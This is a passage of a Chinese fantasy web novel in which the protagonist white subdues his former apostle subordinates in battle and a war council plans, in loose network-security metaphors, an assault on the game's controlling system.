第六使徒,代号【信使】,契约神祇正是古希腊神话中,那位手拿双蛇盘绕的金魔杖,头戴有翅膀的帽子,脚踩有翼飞天鞋,沟通神界和人间的神使——赫尔墨斯。 第六使徒继承了赫尔墨斯跨空间传讯的能力,即便传讯对象在特殊地图,神鸟也能准时无误地将信息带到。 眼下,他要用这个能力确定宴初一的身份。 然而神鸟没有像平时那样很快锁定传讯对象的位置,在天上盘旋好几圈,迟迟没有飞走,很是不确定的样子。 不知道是不是发现了他的小动作,准备开口的宴初一闭上嘴,看了他一眼,和他一起静等着。 第六使徒的心脏几乎提到嗓子眼。 终于神鸟动了。 它没有理会下方的宴初一,垂直往上飞向第三十层,很快在灰蒙蒙的天幕里化作一个小点,消失得无踪无影。 刹那间第六使徒眼神一恍,高悬的心脏落回原位,不再紧张忐忑,却不知道为什么有点空落落。 第八使徒也在按兵不动等待结果,见状眉宇舒展,犀利鹰眸睨向宴初一:“我不管你是真的想找老朋友叙旧,还是碰巧从谁那里知道了那个人的存在,跑到我们面前来虚张声势。” “既然是闯关挑战,那就得遵守规则——打赢我们两个人。” 宴初一:“不需要玩游戏,只要打赢你们就行了吗?” 守关BOSS可以设计一个游戏,来增加自己的有利条件。比如搞个海上轮渡断粮断水要求活到最后,或者搞个赌场要求玩家赢取十几亿的筹码什么的。 但在第八使徒看来,那些东西太麻烦,也太花里胡哨。 于是他更改了擂台规则,2v2凭实力正面对决。 不过每一场挑战结束后,作为守关BOSS的他们,不止体能精力会恢复如初,还将吸收挑战者1%的战斗力,无限叠加增益BUFF! 按理说不可能有这么无赖的规则,然而第八使徒取了巧。 每一次挑战都是独立的,所以【恢复如初】没毛病。 1%的增益加成并不过分,所以规则允许。 至于允许增益叠加,那完全是第八使徒本身的能力【嗜血】,源于契约神祇【狩猎女神】的【猛兽模拟】。 这一条规则直接杜绝玩家靠车轮战取胜的可能,并且拖的时间越久,输的场次越多,对他们就越致命! 所以这么多顶级玩家卡在这里,就是为了商量对策,毕竟两大使徒联手的战斗力不可小觑,何况对手会越来越强。 但听宴初一的语气,青年非但不觉得有问题,还很自信能赢过他们。 第八使徒忍不住嗤笑出声,怀疑青年要么没听说过十二使徒的名号,要么就是对各自的战力差距没概念。 第八使徒:“如果你真能堂堂正正地一挑二打赢我们两个人,我就放行,让你和你的队友们都过去。” 此时此刻他们说的每一句话都有规则认证,第八使徒话音刚落,空气中就传出无形的波动,规则由此更改。 宴初一的目的达到了。 但他看着第八使徒神气十足的模样,没有一点喜悦,唯有发现“手下这么多年居然一点长进都没有”的叹息。 宴初一:“不管怎么样,巴瑟,我很高兴你没有屈服于系统。” 如果第八使徒被系统奴役,对方会知道他的真实身份并心存戒备,更不会这么轻易上了他的套。 第八使徒瞳孔猛然扩大,看向他:“……你叫我什么?” 高空忽然传来一声鸟叫,百无聊赖的第六使徒身体一僵。 他震惊看见自己的信鸽毫无征兆地去而复返,裹挟着打旋的飓风从云霄迫降至宴初一的面前,将要停下时,还贴心地放慢了速度。 宴初一挠了挠信鸽的脑袋和侧颊,后者顿时舒服得眯起黑色豆豆眼,高兴地贴着他的手指伸长脖子,咕咕直叫。 宴初一将小纸条从信鸽的后腿取下来,头也不抬地说道:“哈姆加,你敢跑一个试试。” 蹑手蹑脚挪动身体正要开跑的第六使徒:“……” 他冷汗直流打哈哈:“什么跑?谁要跑?我怎么可能跑嘛,挑战都没结束呢哈哈哈哈……” 宴初一捋开小纸条,上面一片空白,什么都没写。 他看向第六使徒,后者当即又是腿一软。 当初花费好几年的时间,才改掉第六使徒动不动给人卑躬屈膝的恶习,一看对方又要旧态萌发,宴初一的眼神比刚才更加冷厉:“站直了。” 第六使徒也不知道哪儿来的爆发力,电光火石间半屈下的膝盖飞速弹起,绷得笔直! 他一手高举,一手指向第八使徒竭力撇清关系:“不关我的事啊white!我没有背弃信念道德的想法,成为守关BOSS只为监督这个心怀不轨的家伙!我亲眼看见他和系统有过交流!” 说时迟那时快,只见第八使徒朝后一跃而起,半空中手指搭在弓弦上,破魔弓爆发出刺目的威光,箭矢瞬间凝成,随着他的手一松,宛若流星般直袭宴初一的门面! 第八使徒不是使徒成员中战斗能力最强的那一个,却是单打独斗以弱胜强的好手。 来自狩猎女神的技能【精准狩猎】【猎人震慑】,能在无形中让猎物精神一震,陷入恍惚的状态。 他知道震慑类的技能对主修精神力的white效果有限,所以一开始就全力以赴。 箭矢射出的瞬间,遮天蔽日的棕熊兽影同时在第八使徒背后成形,粗壮双臂一张,气沉丹田,对宴初一发出震耳欲聋的兽吼! 音浪漩涡般荡向四方,空气在剧烈冲击下扭曲变形,第六使徒脑门嗡嗡响,连忙捂住剧痛的耳朵,血液从指缝中流出。 他没想到第八使徒毫无顾忌,一出手就是杀招! 余光瞥见宴初一居然站在原地一动不动,第六使徒瞬间瞪大眼珠子,急切大吼:“white躲开!” 轰——! 箭矢击碎大半擂台,冲击波蛛网般震荡而出,尘土碎石爆飞,地动山摇! 第六使徒焦急地冲进滚滚烟尘,左右寻人,转身一刻愕然看见完好无损的宴初一。 宴初一看着他:“说你认输。” 第六使徒想也没想脱口而出:“我认输。” 规则施加在他身上的限制瞬间解除,现在他可以离场了。 宴初一拍了下第六使徒的肩膀:“下面等着去,我没来找你前不许走。” 第六使徒如蒙大赦,忙不迭跳下擂台。 落地后心思却瞬间活泛起来,眼珠子骨碌一转。 第八使徒全力一击,没伤到white半点皮毛,后者拿下前者是早晚的事,犯不着担心。 第六使徒当即准备开溜去找老五。 哪曾想,脚刚抬起来,肩膀就是一紧。 第六使徒愕然转头,看见被宴初一拍过的位置金光氤氲,凝聚成手掌,无声地按着他。 那架势仿佛在慢条斯理地问:想去哪儿? “哪儿都不去,哪儿都不去……”第六使徒急忙把脚收了回去,彻底认怂。 台下的玩家一开始能看见擂台的情况,不能听见他们的谈话,为两个使徒对上宴初一时截然不同的态度议论纷纷,惊疑不定。 随后打起架来,藏在宴初一影子里的宴朔为擂台施加认知干扰,玩家连画面都看不见了,就看见第六使徒火烧屁股一样跳下来。 已知必须分出胜负才能离场,第六使徒跑得这么急,总不可能输的是宴初一吧? 但这么一想,情况好像变得更加夸张和细思极恐了。 队友面面相觑:“初一大佬他究竟是何方神圣啊……” 同一时间,擂台上。 宴初一钳住第八使徒的身体,犹如炮弹般轰然砸进擂台,破碎的场地崩塌大半。 尘土飞扬,震得青年的衣摆和鬓发猎猎起舞。宴初一低头,看向被摁在地上目眦欲裂的第八使徒,淡声询问:“还记得当初我是如何让你归顺认服的吗?” 第258章 成神进度:96% 第八使徒从下往上触及宴初一的眼睛,像是被刺痛,脸皮涨红怒吼一声。 眨眼间他的体格急剧膨胀,撑在地上的四肢成蹄,鼻子拉长,锋利獠牙挤开唇皮,朝两边迅猛生长,眼睛变成熟褐色竖瞳,又因愤怒无限接近于血红,皮肤变粗变糙,汗毛变成黑色并蓄势待发地高高竖起。 宴初一见状快速收手后撤。 下一秒第八使徒竖直的汗毛宛若丛生的钢铁荆棘,擦着他的鞋尖直冲上空! 巨大阴影遮天蔽日,笼罩大半个擂台,仿佛黑夜降临。 第八使徒不见了,取而代之的是一头健硕凶猛的黑毛野猪,鬃毛茂密如刺。一大一小两相对比,一米八的青年甚至不及它的小腿儿高。 野猪喷吐粗重鼻息,猩红双目直勾勾地盯着宴初一:“那是以前!以前你能赢我,不代表现在还有这个本事!” 宴初一抬起头和它对视:“你是觉得现在的我打不过你了,所以就可以踩在我的脑袋上耀武扬威了,对吗?” “可是你的内心和本能反应,好像没有你表现出来的那么有骨气。就算是我巅峰时期,你也没有一上来就爆发全力。” 宴初一如同拨弄琴弦般,随手捻起空气中轻微颤动的情绪波动,气定神闲地点明:“你甚至比以前更害怕我了。为什么?难道是突然发现,哪怕我神力清空重头再来,变成你印象中弱小无能的废物,你也没有一丁点赢过我的可能吗?” “闭嘴!!” 野猪震声怒吼,粗壮四蹄踏碎石块,掀起千钧气压撞向宴初一! 那攻击看似缓慢其实只在眨眼间,气压奔涌形成漩涡,如同将宴初一拘在风暴眼,无处可逃。 然而宴初一根本就没躲。 他站在原地抬起手,无数金光破土而出,刹那间编织成一张巨大的陷阱网,飞快穿过野猪的腹下,将它凌空吊起! 野猪瞪眼惊吼,奋力挣扎,然而金绳越缠越紧。它四蹄一蹬,身体如雾气般炸开,变成铺天盖地的马蜂钻出绳眼,成片地俯冲青年,亮出尖锐毒针。 宴初一神色不改,单臂一挥,建起密不透风的屏障,马蜂噼里啪啦如暴雨梨花砸下来,通通被弹飞。 马蜂不依不饶地扑上来,疯狂啃食金色屏障。却见青年再次伸手,火神的碧翠玉石仙杖落在掌心。 他单手持杖点在地面,杖身唰一下爆出橙红色的烈焰,随着他挥臂上挑神力涌出,百米高的熊熊火墙拔地而起,将气势汹汹的马蜂群冲得支零破碎! “吼!” 空气弥漫皮肉烧焦的气味,第八使徒痛叫一声,化身猎豹狼狈不堪地冲出浓烟滚滚的火海,标志性的梅花斑纹被火燎得发黑,浑身像块煤炭,呛咳个不停。 它用力地甩了甩脑袋,冲着宴初一凶狠龇牙,掉头就跑。 金光如套绳疾驰而去,圈住第八使徒的脖子,第八使徒愤恨地嗷呜一声,身体再次散开,化作成群蚂蚁如黑色流水渗到土下。 本想着这样总能喘上一口气,哪想到还没潜入地底,就嗅到一阵迷人的葡萄香味。 蚂蚁们双眼迷离,循着本能冲向近处的葡萄藤根系,吮吸甜蜜的汁水,大快朵颐,没一会儿就醉得不着五六。 神力失效,蚂蚁群不受控制地聚集在一起,逐渐恢复成第八使徒的身躯。 但这是在地底!第八使徒感到一阵喘不过气的窒闷感,咬牙撑着醉醺醺的意识,艰难地从地底爬到地面。 气喘吁吁地一抬头,就看见宴初一逆光中平静淡然的脸。 宴初一:“还打吗?” 第八使徒:“……” 第八使徒眉峰一抽,下意识转身,宴初一仿佛早有预料般钳住他的肩膀,大力将人扯出地洞,反手一个过肩摔! 第八使徒后背着地砸出坑洞,痛得气喘红眼,双腿发力狠蹬,将宴初一蹬出去十几米,随后从地上爬起来,捏着拳头打了过去! 宴初一抬臂招架,第八使徒又打一拳,指节咔嚓发出爆鸣,将青年震得频频后退。 同时背后展开庞大的棕熊虚影,近距离发出震天彻地的咆哮! 但也是这时,宴初一背后云雾腾升,五爪金龙显出巍峨雄姿,长须飘扬,怒目圆睁,一声龙吟将棕熊虚影喝散! 第八使徒如受重击,噗呲口吐鲜血,差点踉跄摔在地上。 他咬着牙关硬生生绷住没倒,身体再次化作迅猛残影,飞袭宴初一。 猛蛇出动,黑熊扑杀,雄狮撕咬…… 激烈交战间,第八使徒身体变化万千,一拳比一拳凶狠,一招比一招用力。 此时这个粗矿健硕的汉子看起来就像一头真正的猛兽,野蛮、凶残,将狩猎女神赋予的万兽之力发挥得淋漓尽致! 暴雨般密集到令人喘不过气的攻击,让谢叙白想起第一次和老八交手。 那时候他的实力只排在中等,对决排名前几的第八使徒,结果毫无悬念,是他输了。 但是第八使徒点到即止,仅仅对他使出十分之一的力量,将他击退到场外,便干脆收手。 外人看来那场切磋非常轻松,毕竟上一个和第八使徒交手的倒霉蛋,如今骨折昏迷还在医务室挺尸呢,谢叙白就只是擦破了点皮。 唯有能感知到第八使徒的谢叙白心里清楚,对方不是什么手下留情怜惜弱小,而是根本不屑于出手。 反而是那些被第八使徒下狠手暴揍一通的对手,得到了他由衷的肯定。 第八使徒生自北方仍保留狩猎习惯的半原始部落,十几年前有扶贫项目的工作人员来到他们部落,想帮助他们迁徙到水电完善的村镇,但是他们不想离开祖辈生活的地方,拒绝了。 漫天大雪封闭山谷,他们整天沐浴在血腥味和野兽的嘶吼声里,与世隔绝,战斗和狩猎几乎占据生活的全部。 闭塞残酷的生存环境,成就了他们骁勇善战、热血无畏的优良品质,同时也造就了他们恃强争勇、好胜心爆棚的脾性。 谢叙白不起眼的时候,第八使徒反而很好说话,大多时候把他当空气,偶尔遇见了,还会礼貌地颔首打声招呼。 但随着谢叙白越来越强,这家伙就变了,恨不能一年三百六十五天把他拉到训练场,一天二十四小时都在切磋对决。 只要谢叙白出现在视野范围里,那两只眼睛立马像火控雷达般盯过去,火药味十足。 谢叙白一开始没有当回事。 直到第八使徒将他逼得越来越紧,晚上睡觉关灯,都能看见窗户玻璃上亮起两只冒着绿光的兽瞳——不用怀疑,那必定是拟态成巨型蝙蝠的第八使徒在叼着挑战书,望眼欲穿地盯着他。 谢叙白才终于忍无可忍地把第八使徒拎到训练场。 结果揍完后修养一段时间,第八使徒死性不改,更加频繁地出现在他的面前,竭力彰显存在感,只为能赢过他一次。 哪怕谢叙白放水都没用。 直至小黑章鱼看着青年因为没有休息好,眼下两圈黑影愈发浓郁乌青,勃然大怒,将第八使徒丢进黑暗地牢。 出来后的老八吃足教训,在看见谢叙白时终于不是扑上来,而是躲,这事才算告一段落。 如此,可以看出第八使徒对“胜利”两字偏执疯狂到了什么地步。 而这恰恰也是隔阂产生的源头。 宴初一能读心,所以他知道第八使徒不满于他们一次次输给系统,自信心接连遭到重创打击,不安恐惧逐渐累积。 特别是最终决战,亲眼见证他灵魂粉碎的第八使徒,直接对他领袖的正当性产生质疑。 嘭! 宴初一再次将第八使徒狠狠惯在地上。 他说:“曾经我说要带你们走向胜利,可最后胜利并没有到来,反而是我这个夸下海口的人在和系统的对峙中死无葬身之地——发现这一点后,你很失望,对不对?毕竟在你看来,我应该战无不胜,所向无敌。” “因为我的失败,你不再信任我,也恨上我的自大。” “你私底下接近系统,想发挥自己单打独斗的才能,以系统这个代理者为突破口攻克游戏,谁想到居然会比我这个失败者还不如。” “至少我给系统造成过实质性的伤害,可你用尽手段,连系统的本体都没逼出来。” 第八使徒猛力一挣:“别说了。” “你不行,我不行,所有人都不行,那么你还能相信谁呢?你谁都不信了,甘于堕落,自我放逐,却又没那么甘心,于是开始摇摆不定,变成一个放不下又不敢直面现实的懦夫。” 第八使徒浑似被戳穿心窝,怒目嘶吼:“别说了!” 空气安静下来,唯有破音的吼声在禁制内徐徐回荡,又逐渐消弭。 宴初一蹲下身,和第八使徒湿润通红的眼睛对在一起,良久,和善地微微一笑:“说起来,我是不是好久都没有帮你们放松过了?” 刹那间第八使徒心中警铃敲爆,残留着怒气、不堪以及其他隐秘情绪的脸色,顿时惊恐苍白起来:“不,等等——啊!” 所谓放松,即清理意识海的精神污染,在此之外,对训练过度的成员,谢叙白也会借用力量之便帮他们拉伸肌肉。 ——非常适用于某些只知道蒙头训练导致肌肉僵死的大块头。 诚然第八使徒的身体屡次经过加强升级,韧性没那么差,但对拉伸肌肉的恐惧几乎刻在骨子里——哪怕这么做对他的身体有好处。 随着金光的调动,他凄厉绵长地哀嚎起来,脚尖被拉伸蜷曲到后腰时,那滋味简直酸爽,第八使徒痛到飙泪。 他全身上下只有右手能动,疯狂拍地,飙出哆哆嗦嗦的颤音:“混蛋!停手!啊啊啊!我要杀了啊啊啊啊——” 求饶认输是不可能的,就算把骨头掰折了也不会说出个输字。 然而在这一边倒的力量碾压下,终究有一些被掩藏至深的真实想法,控制不住地漏了出来。 【垃圾!废物!菜鸟!你凭什么输,为什么会输,为什么会死!混账!混账!……】 宴初一顺势坐在地上,静静地看着,听着。 直至第八使徒被折腾麻了气若游丝,他才招了招手,金光拉起对方摁在面前坐好,迫人和自己对视,视线齐平:“请记住,我再怎么弱,也远远强过你,不是强一倍,是强十倍。” “究竟要怎么赢过系统,将来怎么办,输掉会落到什么样的结局,根本不是你该考虑的东西。作为比失败者更弱的失败者,你唯一要做的事情只有一件,那就是服从。” “服从我的指挥,服从我的决策,哪怕我会死会输,你也必须毫无条件、没有一丁点迟疑地服从。” 宴初一道:“听明白了吗?” 第八使徒布满红血丝的眼睛越来越湿,嘴唇哆嗦着,哑声否决:“……听不明白!” 宴初一却扬起嘴角,欣慰地笑了笑:“好了,麻烦帮我请一下狩猎女神。” —— 狩猎女神垂下眼睫,指尖蕴起一抹森林绿的神辉,沾染泥土,在谢叙白的眉心和脸颊仔细涂抹:“为了开导巴瑟这小子,真是辛苦你了。” “这不算开导。”谢叙白说,“我们还未赢下游戏。” “没有绝对的胜利。”狩猎女神说,“哪怕是最勇猛的狮子,年迈后都会变得无力,要么饿死,要么被狼或猎豹杀死,没吃完的残躯被秃鹰和鬣狗啄食。” 祂说着,对上谢叙白的眼睛,摇了摇头:“但你们都不愿放弃。” 谢叙白的声音没有起伏:“我们会赢的。” 他的语气一如既往,连神都不知道这股坚韧的信念从何而来。 涂抹在谢叙白脸上的印记变成狩猎女神图腾,溢散神辉,慢慢渗入他的体内,眨眼间谢叙白的力量得到提升,成神进度从94%跳到95%! 第六使徒的契约神祇赫尔墨斯踩着有翼凉鞋飞过来,爽朗阳光地笑着说:“实在迷茫的时候,就遵循自己的本心行动吧。” 祂扬手挥舞盘蛇杖,金光如星尘洒在谢叙白的身上,澎湃神力涌动,成神进度从95%跳到96%! —— 黑塔第三十层。 天上浓黑乌云翻滚,电闪雷鸣,成千上万的骷髅兵整装待发,地狱战马躁动地踱步,打了个响鼻,喷出紫色烈焰。 它们是起义军的主力部队,单是这支队伍就能拿下三个半神级。然而还有比它们更恐怖的存在,三十层的大领主,在幽幽地凝视黑王的宫殿。 双臂环胸闭目小憩的第五使徒眉头一动,倏然睁开双眼,锐利地扫向突然出现的人影。 white和他对视几秒,倏然笑道:“怎么,不欢迎我吗?” 第259章 成神进度:97% 威廉接到意识传讯的时候正在与黑塔的起义军激烈鏖战。 听到脑海中有人呼唤他【威廉.布里奇斯.J.爱德华少将】,许久没听到过真名的威廉下意识一惊:“who?” 下一秒他脚下踩空,猝不及防掉入地面突然出现的黑洞。 视野变黑,飓风从下刮得衣服翻飞,十几秒后强烈的失重感终于刹停,威廉猛然睁眼,并愕然抬头。 映入眼帘的是一片浩瀚无边的宇宙,群星在黑幕中闪烁,宛若洒在幕布上的光点,而他则飘在陨石带的夹缝里,不可思议地发现自己居然能正常呼吸。 威廉试探性地往前摸,触碰到一层透明薄膜,想来是这东西保护了他。 忽然薄膜一动,包裹着他朝一颗飞速转动的陨石撞去。 威廉急忙抬起手臂去挡! 但预想的疼痛没有到来,反而像是穿过什么无形的禁制,空气中泛起涟漪般的波动。 再次睁眼时,一个亮堂肃穆的会议大厅骤然出现在威廉的眼前。 大厅坐着不少大人物,能让威廉眼熟的就有十几个。 其中最知名的,当属中洲区的巅峰一队,还有外洲区的几个顶级组织,都已在前排落座。 许久没有见过这么隆重的阵仗,威廉不免有些心惊胆战,满腹猜疑。 “少将,这里!” 旁边有人小声呼唤他,威廉转头一看,是某位认识的参议员。他顺势坐了过去,方才得知,这里正要召开对付无限游戏的决战会议。 决战会议……这一天终于要来了吗? 周围不断有组织统领者、管理层和高级玩家陆续进场,都是筛选后值得信赖的同胞,有的经常出现在公众视野,有的韬光养晦为人低调,如今皆都齐聚一堂,他们的到来就是一种最新事态的象征。 没多久,最中间的大荧幕亮起,会议即将开始。 嘈杂密谈的众人逐渐噤声,整个大厅顿时陷入庄重安静的气氛里,威廉按捺住急剧加快的心跳看了过去。 他们在大荧幕上看见一张少年的脸,对方自我介绍为“白色幽灵”。 这少年正是谢叙白的精神体之一。 攻陷黑塔王国各大舆论网络社区的时候,副本还未融合,是以在众的大部分与会者并不认识他这一姿态。 大部分人忍不住恍惚一瞬,对少年昵称的前缀词,有种说不出的熟悉感。 ——白色幽灵,白色,white。 不是所有的与会者都有机会契约神祇。 为了保留记忆,他们采取了许多非常手段,比如炼金术的秘药研究、脑机芯片植入、灵魂刻录技术等等。 中洲区因为五爪金龙可以施加群体庇护,所以保存记忆者较多。 只是循环过程中,记忆多少会遭受部分磨损。 何况谢叙白是系统的重点通缉对象,玩家脑内和【white】【谢叙白】这些词语相关的认知印象,都会被系统列为危险信息,在一次次循环中遭到多重刷洗,导致如今见面不相识。 在场众人也不知道自己为什么会对少年心生亲切,好像他们并肩作战过很长一段时间。 带着这份难以言喻的心情,以往只要见面就会吵得面红耳赤的各领域大佬,难得没有提出异议、吹毛求疵,沉静地交握双手,抬起头来,聆听少年的发言。 “……虽说宇宙域外的力量体系和我们不同,但其架构万变不离其宗。 接下来我会用现代科技的网络安全知识,来讲述我们可以采用的三种主要进攻路径。” “其一网络层,即通过网络渗入游戏的主系统。” “理论上我们正和系统处于同一公共网络内,但因为双方力量差距过大,简单概述就是我们的网络技术,还不足以攻克系统的防火墙,所以一直以来,系统对我们来说才会如同幽灵般不可捉摸。” “但好消息是——在上一世最终决战前夕,系统终于在世人面前露出马脚!” 少年看向旁边的巅峰成员,几名技术骨干颔首出场,运用技能铺展出一份线路图,旁边密密麻麻全是详细的数据分析公式和态势变化。 通过这张线路图,可以清楚看见系统几次出现的坐标位置,还有每一时刻的移动路径,误差不超过一秒,这意味着他们完全可以锁定本体,进行直接攻击! 这一发现足以让玩家从完全被动转为主动,坐席上议论声瞬起,喧哗不断,少年说:“正如你们所看见的,幽灵现形了。” 当即有人迫不及防地追问:“既然已经能够捕捉到系统的本体,为什么不直接进攻?” 少年摇了摇头:“很遗憾地告诉你,还是因为我们的力量不足。” “游戏重启前系统就暴露过本体,那时候无数玩家前赴后继,对它进行猛烈攻击,结果如你我所见,系统受伤了,但并不致命。” “所以游戏会重启而不是结束,重伤的系统也一改以往的嚣张,偷偷摸摸地躲了起来。” 有人眉头拧成一团,略显暴躁:“那我是不是可以认为,就算我们把系统从暗处揪出来,也无法直截了当地杀死它?那打它还有什么意义!” 少年眉眼沉稳,面对那人的质疑语气不疾不徐:“当然有意义。完好无损的系统和重伤的系统,难道前者会比后者更好对付吗?” “这是我们的攻击手段,但绝不只是唯一的攻击手段。” “等到时机成熟的时候,我们将集结《游戏之家》副本内所有存活的玩家,从外部攻打系统的本体,以此消耗它的力量,这是其一!” “其二,在此基础上,我们将用到第二个攻击路径,传输层。 专业解释上有个说法叫中间人攻击,通过劫持系统内部的通讯链路进行数据篡改。” 少年声音铿锵有力:“简单点解释,我们需要找到那些被标记上系统烙印的叛徒,即内部链路,利用他们伪装自己人身份,绕开防火墙攻击系统的核心程序,暗度陈仓。” —— 嘭! 被毫不客气丢进地牢的草堆里,white捂着后脑勺呲牙咧嘴:“嘶……” 他对栅栏外的第五使徒扬声叫屈:“大壮!你就这么招待昔日的老朋友兼长官吗?” “是前长官。”第五使徒语气冰冷地纠正道。 “好好好,不管是什么,我们这么长时间没见了,难道你不想叙叙旧?” 第五使徒无声地盯着满脸纯良的青年,空气一瞬变得剑拔弩张,然而青年淡然一笑,由始自终都气定神闲地看着他,根本不见阶下囚的窘迫。 第五使徒冷声问:“你究竟是来干什么的?” white:“是这样的,我听哈姆加他们说,你对我似乎有点误会。” 第五使徒语气毫无起伏:“所以你来找死了,是吗?” white坦然轻笑:“也可以这么说,你不是对我掏掉你神核的事情耿耿于怀吗,我细想过这事,确实是我做得不对,于是马不停蹄找你还债来了,感动不感动?” 第五使徒:“你从来不会因为所谓的怜悯和慈悲,做这种无意义的事情,这里有什么东西值得你以身犯险?” white无可奈何:“真的是想念老朋友了,也真心觉得对不起你,来诚诚恳恳地道个歉,怎么就不相信我呢?” 青年说着,指尖点点胸口。 猩红血气氤氲流动,如枷锁缠绕在他的心口,威胁命脉的同时也封锁住了他的神力,此时的青年就如同一个普通人类般没有任何反抗之力。 “难道我这还不算有诚意吗?” 第五使徒面无表情地和他对视,转身就走。 “等等,你怎么走了?大壮!牛大壮——!真走了啊?” white两步来到栅栏前,看着第五使徒头也不回的背影,大声说道:“现在的我只是一个手无缚鸡之力的普通人,这地牢凉飕飕的,湿气还重,你好歹给我拿个火炉来吧!我之前腿脚脊骨都受过伤,一受寒就会发作,疼痛难忍,你清楚的!” 第五使徒脚步刹停,像是在忍耐什么,腮帮子绷紧,深深地吸上一口气。 “把火炉拿给他,再拿几床厚被子。”他吩咐一旁的看守。 十几分钟之后,white的牢房外人影绰绰,传来搬动重物的脚步声。 他背靠墙壁抬起头,只见两名看守搬着铁炉进来,里面全是烧红的炭块,呛人的黑烟飘开,高温迅速蒸发牢房里的湿气,滚烫灼人。 后面又进来几名看守,其中一人拿起里面的烙铁,三角形头部早已被烧得通红,周围空气扭曲变形。 这要是落在人的身上,连皮带肉全都会被烫熟焦化。 white扫过几名看守的眼睛,猩红且充满杀意,细看又似乎空洞无神,和那些被篡改认知数据的起义军一样。 他笑了笑:“我刚才可是听老五说了,他让你们拿火炉来,火炉和烙铁还是不太一样吧?” “还是说系统,你就这么迫不及待地想要弄死我吗?” 一名看守宛若傀儡般阴冷地盯着他,嘴巴一张一合,嗓音带着机械感:“你是个狡猾的人类,突然跑来自投罗网,肯定有问题,必须在那之前杀了你。” 其余四人齐齐上前,按住white的肩膀,那名看守拿着烙铁逐渐逼近,明显想用残忍的酷刑先折磨青年一通,最好能令他精神受损痛苦死去。 white不经意地摁住脚下暴躁不安的影子,抬眼看着越来越近的火红烙铁。 系统打定主意要杀他,根本没犹豫,烙铁直接压了下来。 那短暂到只有呼吸的间隙,高温燎烤肌肤,烫意越来越明显并迅速加深,青年面无表情,眼也不眨。 就在那烙铁将要落下他身上的刹那间,一道虎背熊腰的巨影闪电般冲进牢房。 比他动作更快的是地面和墙壁,夸啦啦一阵地动山摇,灰尘掉落,石头和泥土像是有生命力般扑面袭来,骤然裹住看守手里的烙铁! 第五使徒去而又返,拽住施刑人的手腕,用力过大骨骼咔擦作响。 几名看守一个激灵清醒过来,看着男人铁青到恐怖的脸色,被钳住手的人更是痛得哀嚎,吓得急忙辩解:“大人,我们不是——” 话音未落,第五使徒随手一挥,土壤岩石凝成巨手将他们全部丢了出去! “你果然是来找死的。”第五使徒森冷地看着white,一字一顿地说,“既然你活得不耐烦了,那我就成全你。” 第260章 成神进度:98% 第五使徒奥古托夫,年龄三十七左右,没有伴侣,通过口音和生活习惯,初步判定为意大利人。 大多数使徒成员对他的第一印象是敦厚和善。 喜欢默默无闻帮助他人是一回事。 第五使徒属于明明长得人高马大,靠威武雄壮的体格就能让混混们自觉闭上嘴,收获无数敬畏的眼神,说话却温言细语,姿态放得很低。 他会小心翼翼扶住摔倒的人,给人递东西会体贴提醒一句“小心重”、“小心烫”。 喜欢可爱的东西,尤其是那些毛绒绒的小动物。年龄较小的成员们经常会得到第五使徒的特别看护,弱小的人也会得到格外垂怜,包括早期被排挤的谢叙白。 就像动漫里沉默木讷的石巨人,穿着橙黄色的小马甲,老老实实地搬砖建房,高兴时会弯起眼睛,头上悄无声息地冒出粉泡泡,极具反差感。 只是后来在战场上,看见第五使徒用他那强化后高达几十吨级的握力,面不改色地将畸变体的脑袋捏爆,血浆脑花溅满一身的场面时,基本上就没人会有这种想法了。 再次让人震惊是在测试结果公布后,第五使徒的成绩简直能跌破众人的眼球。 【身体素质】【文化考察】【战术规划】【精神操控与抵抗】…… 近二十项综合测试项目,居然一半以上的评级都是优秀! 前期测试这些项目,只为能够针对使徒成员的弱点进行专项特训,谁也没有想到,第五使徒竟然能在一开始就几乎拿到满分。 诸如杀戮技巧、抗药性、战争机械精通等项目,评级更是直达卓越! 可这些东西,就算是国安局专门训练的秘密特工,都很难拿到高分。 结合第五使徒出生地的传统技艺,让人不免对他的过往经历细思极恐、猜疑纷纭。 对此奥古托夫的解释是:“……是家族传承,我曾经被祖父他们当成继承人培养过一段时间。但上上个世纪,家族就被招安了,现在干的都是合法生意,我们也从来没有碰过那种东西。” 话是这么说。 可当第五使徒【化学制药】的测试成绩又一次达到卓越后,听到对方要下厨为大家准备午后甜点的成员们,纷纷一个哆嗦蹿跳而起,惊恐地看着第五使徒哼着小曲准备食材的背影。 化学制药对应无限游戏里的【毒师】【炼金术师】等职业技能,即使悄无声息在饮食里面下毒,一时半会也不一定能察觉出来。 有些等级高的毒师,甚至可以让毒素在玩家的体内潜伏大半辈子,直到临死的一刻才爆发显形。 使徒公会的食物在种植、运输、储存、加工这一系列流程中都会经过不少于三次的安全检验,可以信赖。 但玩家的职业技能不受限制,可以凭空制造药水,越过安检搜查。 没过多久,第五使徒将点心端了上来。除去常规饮品,还特意准备了当下流行的奶茶。 在场成员看着盘子里被烤得喷香扑鼻的小饼干和蛋糕,只觉得汗流浃背,很想询问第五使徒有没有去做过技能备档。 不是他们不信任对方,是以前在副本试炼中吃过亏,心有余悸。 就像突然在房子里发现一条眼镜蛇,哪怕它表现得再温顺,专家再三强调毒液被收在毒腺里不会漏出来一点,谁又能心无芥蒂接过它叼来的食物? 众人对视一眼。 有人捂着肚子,哎哟哟直呼不舒服,快速跑走。 有人借口急事需要处理,快步闪现离去。 眨眼间,热闹非凡的休息室内人去楼空,安静得针落可闻,只剩下第五使徒茫然的身影:“……” 他低头看了看盘子里的点心。 基地不会在日常生活中苛待成员,中央厨房全都是拿过金奖的星级厨师,想吃什么,只要提前备注,像魔兽肉这种奇葩的东西都能弄来。 但情感是无价的。 认知和精神力能够实质化为战力的无限游戏,玩家间的信念羁绊和战斗默契都将由情感来维系、增幅。 然而,因游戏的无情残忍、高压和低容错率,演变出使徒公会严苛残酷的淘汰机制。 ——这一现实注定成员们会因为竞争激烈而关系紧张。 有些早期结下的仇怨和隔阂,就算通过测试后也难以消弭。 上层一直很苦恼要怎么缓和他们的关系,所以非常支持成员主动展开社交活动,缓解身心健重负。 听说第五使徒想要负责部分下午茶,他们立马举双手大力称赞,甚至安排厨师休息让人顶上。 没想到会是这么个情况。 第五使徒不是第一次做下午茶,很早以前,他就会在闲暇之余去中央食堂当帮工,不为别的,只为甜食区是孩子们最喜欢的地方。 有时候他会撑在餐台上,看那些小家伙们吃到甜食后笑容四溢的样子,眯着眼睛仿佛被萌化,几十分钟都不带腻。 虽说他的手艺比不上星级大厨,也有很多人不买账。 但这还是第一次,第五使徒遭到了所有人的拒绝。 说失落吗?肯定有。 